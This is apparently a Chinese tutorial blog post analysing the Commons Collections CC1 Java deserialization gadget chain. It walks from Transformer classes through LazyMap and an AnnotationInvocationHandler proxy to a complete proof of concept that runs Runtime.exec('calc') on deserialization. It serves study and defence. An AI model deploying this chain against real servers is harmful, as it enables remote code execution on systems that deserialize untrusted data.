CC1

1、Transformer接口

Transformer接口开始,对于这个接口是这么介绍的:

它被实现为一个将一个对象转换为另一个对象的函数。Transformer将输入对象转换为输出对象,而不修改输入对象本身。

2、Transformer的实现类

所有的实现类如下所示:

ConstantTransformer

功能是每次返回相同的常量值。并指出了使用该转换器的一些限制和注意事项;

  • 构造函数ConstantTransformer(Object constantToReturn)用于创建一个新的ConstantTransformer实例,传入的常量值会被存储起来以供后续调用使用。
  • transform(Object input)方法是实现Transformer接口的方法,它会忽略传入的输入对象,并返回存储的常量值。

也就是说,我们如果实例化了ConstantTransformer对象的时候传入了指定了一个对象,那么该ConstantTransformer对象的transform方法无论接收什么将永远返回我们指定的对象,demo如下:

    public void constantTransformer(){
ConstantTransformer transformer = new ConstantTransformer(new String("Always me")); Object o1 = transformer.transform(new Integer(1));
Object o2 = transformer.transform(new HashMap<>().put("admin", "admin")); System.out.println("Input the Integer:"+o1);
System.out.println("Input the HashMap:"+o2);
System.out.println("o1==o2:"+(o1==o2));
/* Input the Integer:Always me
Input the HashMap:Always me
o1==o2:true
*/ }

ChainedTransformer

该转换器会将输入对象传递给第一个转换器,并将转换后的结果传递给第二个转换器,依此类推,形成一个转换器调用链。

  • 构造函数ChainedTransformer(Transformer[] transformers)接收一个转换器数组作为参数,并将其存储在类的实例变量中。
  • transform(Object object)方法实现了 Transformer接口中的方法,它通过循环遍历每个转换器,并将输入对象依次传递给每个转换器进行转换,然后将转换后的结果传递给下一个转换器,直到所有转换器都被应用完成,最终返回转换后的结果。

也就是说在创建ChainedTransformer对象实例的时候,我们需要传入Transformer接口的实现类数组,它的transform方法会帮我们依次调用所有的实现类中各自的Transformer方法;返回最后一个调用transform的实现类的返回值;

@Test
public void chainedTransformer(){
ConstantTransformer transformer1 = new ConstantTransformer(new String("Always me"));
ConstantTransformer transformer2 = new ConstantTransformer(new String("Not me"));
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{transformer1, transformer2});
Object transform = chainedTransformer.transform(1);
System.out.println(transform);
//Not me
}

InvokerTransformer

这个转换器会使用反射机制来实例化一个指定类的新对象。

构造函数 InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 接收三个参数:

  1. methodName:要调用的方法的名称。
  2. paramTypes:方法的参数类型数组。
  3. args:方法的参数值数组。

transform(Object input) :在给定的输入对象上调用指定的方法,并将方法的返回值作为转换结果返回。

也就是说在创建InvokerTransformer实例的时候我们需要传入三个值:方法名,方法类型数组、参数值数组;而它的transform方法接收任意对象,然后通过或者传入对象的类原型以及初始化时传入的三个值来反射调用这个对象的某个方法;

@Test
public void invokerTransformer(){
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
invokerTransformer.transform(Runtime.getRuntime());
//调用了Runtime实例对象的exec方法,方法参数值类型为String,参数为calc
//相当于 Runtime.getRuntime().exec("calc");
}

根据这个类的特性,我们创建InvokerTransformer类的对象实例时,构造函数可以指定一个恶意方法,如果调用这个对象的实例时接收任意对象,那就可以达到执行任意类的任意方法的目的,从而可能导致RCE;

3、寻找调用链

TransformedMap(功能理解)

先介绍一下这个类,TransformedMap的作用是对Map中添加的对象进行转换。常用于在Map中存储的对象进行类型转换的情况。

CC1链可以从这个类入手的,但是本文中从LazyMap入手,介绍这个类的原因是个人觉得理解这个类的用途对理解调用链很有帮助

先了解一下它的父类AbstractInputCheckedMapDecoratorAbstractMapDecorator

AbstractMapDecorator这个类实了Map接口,但是并未实现什么重要功能,先看AbstractInputCheckedMapDecorator

这个类是为了简化创建Map装饰器的任务。你可以把它想象成一个工具,它帮助你在往Map里添加数据时进行一些额外的处理,比如验证数据是否有效或者进行转换。让你可以在数据被添加到Map之前进行一些处理,这样就不需要自己去实现一大堆的类了。使用这个类,可以更加方便地创建自定义的Map。

现在假设我们有这样的需求:如果一个Map中的Value值是一个字符串类型,保证这个字符串是大写;实现AbstractInputCheckedMapDecorator可以帮助我们自定义这样的Map;

实际上AbstractInputCheckedMapDecorator修饰符为default,所以demo中是伪代码,帮助理解这个类的作用;

public class UpperCasingMap extends AbstractInputCheckedMapDecorator {
public UpperCasingMap(Map map) {
super(map);
}
@Override
protected Object checkSetValue(Object value) {
// 如果值是字符串类型,将其转换为大写形式
if (value instanceof String) {
return ((String) value).toUpperCase();
}
// 否则,直接返回值
return value;
}
// 其他可能需要实现的方法...
}
public class Main {
public static void main(String[] args) {
// 创建一个普通的HashMap
Map<String, String> map = new HashMap<>();
Map<String, String> upperCasingMap = new UpperCasingMap(map);
upperCasingMap.put("name", "John");
System.out.println(upperCasingMap); // 理论输出:{name=JOHN}
}
}

到这里应该就不难理解TransformedMap的作用了,它是AbstractInputCheckedMapDecorator的子类,先看构造器:

需要传入两个装饰器和一个Map;

其中put方法调用了transformKeytransformValue方法,随后保存起来;

这两个方法先对传入的key和value做了非空判断之后调用了keyTransformervalueTransformertransform方法,而这两个就是我们传入的装饰器;也就是说如果使用这个特殊的Map,在使用put方法的时候会根据你传入的装饰器进行装饰,checkSetValue方法就仅仅只是对value进行处理;

那么我们利用TransformedMap加上自定义装饰就能实现各种不同需求的Map了,非常的方便;

举个例子, 假设我们有一个需求:我们有一个存储员工信息的列表,每个员工信息都以字符串形式存储,包括姓名、年龄和工资,希望将根据字符串转换为对应的 Employee 对象,方便进行后续操作。

public class Employee {
private String name;
private int age;
private double salary;
//省略get set 构造器 toString
}
import org.apache.commons.collections.Transformer;

public class StringToEmployeeTransform implements Transformer {
@Override
public Object transform(Object input) {
if (input instanceof String){
String[] parts=((String) input).split(",");
String name = parts[0];
int age = Integer.parseInt(parts[1]);
double salary = Double.parseDouble(parts[2]);
return new Employee(name, age, salary);
}
return input;
}
}
public class EmpMap extends TransformedMap {
protected EmpMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map, keyTransformer, valueTransformer);
}
public EmpMap(Map map, Transformer valueTransformer){
super(map,null,valueTransformer);
}
}
@Test
public void transformedMap(){
StringToEmployeeTransform empTransform = new StringToEmployeeTransform();
EmpMap empMap = new EmpMap(new HashMap(), empTransform);
empMap.put(1, "Alice,30,5000.0");
empMap.put(2, "Bob,35,6000.0");
System.out.println(empMap);
//{1=Employee{name='Alice', age=30, salary=5000.0}, 2=Employee{name='Bob', age=35, salary=6000.0}}
//可以debug看看具体的转换过程
}

扯得有一点远了,会出现问题的关键就在于这个功能带来方便的同时其实也带了一些潜在的问题,就比如我们传入的是被InvokerTransformer装饰的的map;

    @Test
public void noSafeTransform(){
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
HashMap<Integer, Object> noSafeMap = new HashMap<>();
Map map = TransformedMap.decorateTransform(noSafeMap, null, invokerTransformer);
map.put(1,runtime);
}

LazyMap(调用链分析)

现在开始寻找CC链,在理解了TransformedMap的作用之后我们不难想到,CC依赖中xxxMap的部分作用都是用来将原来Map中的key和value通过装饰器装饰,以完成某种业务需求。那先找一找哪里调用了transform方法

找到LazyMap:

如果键不存在于 Map 中,那么就调用 factorytransform 方法来创建对象。 factory 是在创建 LazyMap 实例时传入的工厂对象,用于创建对象的。不仅可以传入Factory,还可以传入一个Transform;

那可以进行如下测试:

@Test
public void lazeMap() throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
HashMap<String, String> map = new HashMap<>();
Transformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
Runtime runtime = Runtime.getRuntime();
Constructor<LazyMap> constructor = LazyMap.class.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap lazyMap = constructor.newInstance(map, invokerTransformer);
//也可以创建一个Transformer的Factory 对象
lazyMap.get(runtime);
//弹出计算机
}

那就寻找哪里调用了get方法,可以看到AnnotationInvocationHandler中的invoke方法调用了:

前面两个if和Switch中带了return语句,所以不能满足其条件。

此时就要确保方法名不为equals并且方法参数值必须为0,也就是无参方法;并且方法名不能为toString、hashcode、anntationType,才能走到get方法;

并且这个Map可控

那接下来就思考怎么调用AnnotationInvocationHandlerinvoke方法,观察这个类发现这是一个实现了InvocationHandler的类,它可以作为一个类的动态代理处理器,而代理对象执行方法之前就会执行代理处理器的invoke方法;

所以现在需要创建一个代理类,并且使用AnnotationInvocationHandler作为代理处理器来代理LayzeMap,然后找一处LayzeMap对象(实际上在AnnotationInvocationHandler中它叫做memberValues)的无参方法调用,最终找到入口readObject

那现在只需要寻找满足条件的无参方法;很幸运,就在AnnotationInvocationHandlerreadObject方法中就有调用:

在写poc之前,先来解决一个问题,Runtime类不可被序列化(ProcessBuilder也不行):

既然Runtime对象不能序列化,那就把Runtime.class序列化,然后在反序列化的过程中动态创建对象,通过InvokerTransformer反射获取Method对象后调用invoke方法获取Runtime对象;

Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(method);

Object o1 = invokerTransformer.transform(runtime);

Runtime.class可以使用ConstantTransformer返回,只要我们创建ConstantTransformer时指定Runtime.class调用transform方法时就永远返回它。

但是问题来了,LazyMap如何被多个Transformer装饰呢?好像是做不到的,那能不能换个思路,即使只被一个Transformer装饰,也能调用多个transform方法完成动态创建对象的过程,这里就可以用到前面介绍过的ChainedTransformer;只需要按照如下顺序即可:

  • 创建ConstantTransformer,初始化指定Runtime.class对象
  • 创建InvokerTransformer指定对象为Runtime.class,使用getMethod方法,获取getRuntime方法
  • 创建InvokerTransformer指定对象为method,使用invoke方法获取Runtime对象
  • 创建InvokerTransformer指定对象为runtime,使用exec方法,传参为任意命令

所以上面的代码可以写成这样:

        Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

现在捋一捋整个链的调用流程:

poc如下:

    @Test

    public void chainedTransformer1() throws Exception {
//使用ChainedTransformer动态创建Runtime对象并调用exec方法
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //创建一个被chainedTransformer装饰的Map--LazyMap
HashMap<Object, Object> map = new HashMap<>();
Constructor<LazyMap> constructor = LazyMap.class.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap lazyMap = constructor.newInstance(map, chainedTransformer); //创建一个AnnotationInvocationHandler并且传参为一个注解类和LazyMap的代理处理器--aih
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> c = aClass.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler aih = (InvocationHandler) c.newInstance(Override.class,lazyMap);
//用这个代理处理器为LazyMap生成代理--lazyMapProxy
Map lazyMapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), aih);
//创建最终的反序列化类
Object o = c.newInstance(Override.class, lazyMapProxy); //自己写的方法,就是简单的序列化和反序列化
SerializeUtil.serializeObject(o);
SerializeUtil.deserializeObject("object.txt");
}

成功执行:

java反序列化-CC1的更多相关文章

  1. Java反序列化漏洞Apache CommonsCollections分析

    Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. JAVA 反序列化攻击

    Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令. 由于目前发现该漏洞存在于 Apache commons-collec ...

  4. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  5. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  6. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  7. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  8. WebLogic “Java 反序列化”过程远程命令执行

    WebLogic “Java 反序列化”过程远程命令执行 详细信息: https://www.seebug.org/vuldb/ssvid-89726 说明: 反序列化是指特定语言中将传递的对象序列化 ...

  9. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  10. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

随机推荐

  1. Oracle 中UNDO与REDO的区别详解

    一 为了更清楚的看出2者区别,请看下表: UNDO                                                                   REDO Rec ...

  2. Flutter学习(一)——创建一个项目

    本文基于 flutter 2.5.1,开发工具 Visual Studio Code. 一.创建 打开 VS Code 点击 View > Command Palette-(快捷键command ...

  3. 硬件开发笔记(六): 硬件开发基本流程,制作一个USB转RS232的模块(五):创建USB封装库并关联原理图元器件

    前言   有了原理图,可以设计硬件PCB,在设计PCB之间还有一个协同优先动作,就是映射封装,原理图库的元器件我们是自己设计的.为了更好的表述封装设计过程,本文描述了一个创建USB封装,创建DIP焊盘 ...

  4. linux基本命令--day02

    目录树架构示意图 以下是对这些目录的解释: /bin: bin是Binary的缩写, 这个目录存放着最经常使用的命令. /boot: 这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以 ...

  5. React 中 Ref 引用

    不要因为别人的评价而改变自己的想法,因为你的生活是你自己的. 1. React 中 Ref 的应用 1.1 给标签设置 ref 给标签设置 ref,ref="username", ...

  6. Flutter学习

    常用网址 免费下载 !<AliFlutter 体系化建设和实践> Flutter 开发文档 Flutter实战 Dart 编程语言概览 pub仓库 main函数使用了(=>)符号, ...

  7. 【LeetCode剑指offer#04】包含min函数的栈、栈的压入、弹出序列(辅助栈的应用)

    包含min函数的栈 https://leetcode.cn/problems/bao-han-minhan-shu-de-zhan-lcof/ 定义栈的数据结构,请在该类型中实现一个能够得到栈的最小元 ...

  8. SpringMvc原理概述

    目录 MVC整体架构和流程 SpringMVC 框架组件概述 SpringMVC 配置详解 springmvc.xml MVC整体架构和流程 用户发送请求至前端控制器 DispatcherServle ...

  9. 【API Management】使用 APIM Inbound Policy 来修改Content‐Type Header的值

    问题描述 在使用APIM提供API服务管理的场景中,遇见了客户端请求时候发送的请求Header中的Content-Type不满足后台服务器的要求,但是在客户端要求客户修改代码难度较高. 所以面对这样的 ...

  10. [学习笔记].Net5项目打包到Linux系统服务时遇到的坑

    ​如果按照官方文档的步骤手动安装.Net5 会有一个坑: 在 Linux 上手动安装 .NET - .NET | Microsoft Docs 在使用systemd打包.Net5服务的时候,无法运行, ...